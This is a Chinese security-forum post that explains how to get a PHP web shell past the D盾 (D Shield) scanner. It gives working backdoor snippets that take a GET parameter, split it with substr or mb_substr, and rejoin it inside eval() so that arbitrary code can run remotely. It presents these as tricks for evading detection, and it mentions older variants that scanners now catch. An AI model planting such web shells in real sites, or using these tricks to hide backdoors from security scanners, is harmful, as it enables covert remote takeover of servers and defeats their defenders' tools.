过D盾shell新思路

isnull   ·   发表于 2019-05-13 11:20:08   ·   漏洞文章

前言



今天在逛论坛时,遇到一个坛友,分享了一个shell过D盾的思路,满好玩的,分析下。

原贴



首先来看下D盾扫描结果。




以前的思路常规,就是定义一个变量b:$b='';为空,$b = null;$b = "\n";然后变量a: $a = $_GET['1'];eval($a.$b);,或者eval($b.=$a); 。但是现在这种方法基本报一级或者直接杀,查出某个变量。


<?php
$m=$_GET['1'];
$a=substr($m,0,1); 
$b=substr($m,1,9999);
eval($a.$b);
?>


而今天这个论坛看到的,思路有趣。

substr()函数返回字符串的一部分,例如:


<?php
$m='s9mf';
$b=substr($m,0,4);
echo $b;
// 代码运行返回s9mf


$a=substr($m,0,1);返回第一个字符$ $b=substr($m,1,9999); 相当于$b=_GET['1']; 然后eval括号内拼接组合。



mb_substr



mb_substr和substr特性类似,也可以用mb_substr,一样过D盾。


<?php
$m=$_GET['1'];
$a=mb_substr($m,0,1); 
$b=mb_substr($m,1,9999);
eval($a.$b);
?>


转自先知社区

打赏我,让我更有动力~

0 条回复   |  直到 2019-5-13 | 1248 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.